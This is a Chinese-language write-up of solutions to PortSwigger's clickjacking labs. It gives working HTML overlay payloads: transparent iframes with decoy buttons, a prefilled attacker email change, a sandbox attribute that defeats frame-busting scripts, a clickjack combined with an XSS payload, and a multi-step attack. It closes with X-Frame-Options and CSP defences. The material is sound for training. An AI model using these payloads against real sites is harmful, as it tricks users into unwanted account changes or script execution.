实验环境是:https://portswigger.net/web-security/clickjacking
这里就只给出题目的答案, 可以使用翻译软件自行翻译英文

基本的点击劫持攻击

<style>
    iframe {
        position:relative;
        width:700px;
        height:500px;
        opacity:0.0001;
        z-index:2;
    }

    div {
        position:absolute;
        top:300px;
        left:60px;
        z-index:1;
    }
</style>

<div>Click me</div>
<iframe src="https://aca61fd71e124ad180d8023e00e00009.web-security-academy.net/account"></iframe>

点击劫持是在自己网址上创建一个页面，然后用iframe加载别的网址，把被加载的网址设置为顶层然后透明

使用预先填写的表单输入进行点击劫持

<style>
    iframe {
        position:relative;
        width: 700;
        height: 500;
        opacity: 0.0001;
        z-index: 2;
    }
    div{
        position:absolute;
        top: 420;
        left: 80;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://acbd1f251fcdbe368036079300240070.web-security-academy.net/email?email=hacker@attacker-website.com"></iframe>

frame 破坏脚本

一个网址为了防止点击注入攻击,那就要想办法,让自己的网站不能被加载成frame,比如下面的脚本

<script>
    if(top != self) {
        window.addEventListener("DOMContentLoaded", function() {
            document.body.innerHTML = 'This page cannot be framed';
        }, false);
    }
</script>

这样,加到html中就可以防止网页被加载为frame

image.png

那如何做这道题呢?

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 500px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 385px;
        left: 80px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://ac941f351f5abe8980b30d0b001f0017.web-security-academy.net/email?email=san@san.com"></iframe>

这样令sandbox属性为allow-forms就可以了

注:
如果被规定为空字符串（sandbox=""），sandbox 属性将会启用一系列对行内框架中内容的额外限制。
sandbox 属性的值既可以是一个空字符串（应用所有的限制），也可以是空格分隔的预定义值列表（将移除特定的限制）。

与XSS结合

image.png

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 1000px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 850px;
        left: 75px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://ac541f281f0dbe8f80d428cb00f10073.web-security-academy.net/feedback?name=<img src=1 onerror=alert(1)>&email=san@san.com&subject=test&message=test"></iframe>

多步骤点击劫持

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 500px;
        opacity: 0.0001;
        z-index: 2;
    }
    .firstClick, .secondClick {
        position: absolute;
        top: 285px;
        left: 50px;
        z-index: 1;
    }
    .secondClick {
        left: 200px
    }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://ac411f411fcfbe0a80752bc600b00056.web-security-academy.net/account"></iframe>

这个可能需要构造一个用于欺骗的验证页面,比如:
这是一个验证页面,请依次点击:x, x, x,然后来一张图片,放上这几个字,好麻烦啊

防护点击劫持

服务器端点击劫持保护的两种机制是X-Frame-Options和Content Security Policy

X-Frame-Options

• X-Frame-Options: deny - 不允许
• X-Frame-Options: sameorigin - 同源允许
• X-Frame-Options: allow-from https://normal-website.com - 允许特定网站

内容安全政策（CSP）

内容安全策略（CSP）是一种检测和预防机制，可缓解XSS和Clickjacking等攻击。CSP通常在Web服务器中以以下形式的返回标头实现：

• Content-Security-Policy: policy

其中policy是由分号分隔的一串策略指令。CSP向客户端浏览器提供有关允许的Web资源来源的信息，浏览器可以将这些资源应用于检测和拦截恶意行为。

点击劫持保护是将frame-ancestors指令合并到应用程序的内容安全策略中。frame-ancestors 'none'指令是类似X-Frame-Options : deny。frame-ancestors 'self'指令是大致相当于 X-Frame-Options : sameorigin。

• Content-Security-Policy: frame-ancestors 'self';
• Content-Security-Policy: frame-ancestors normal-website.com;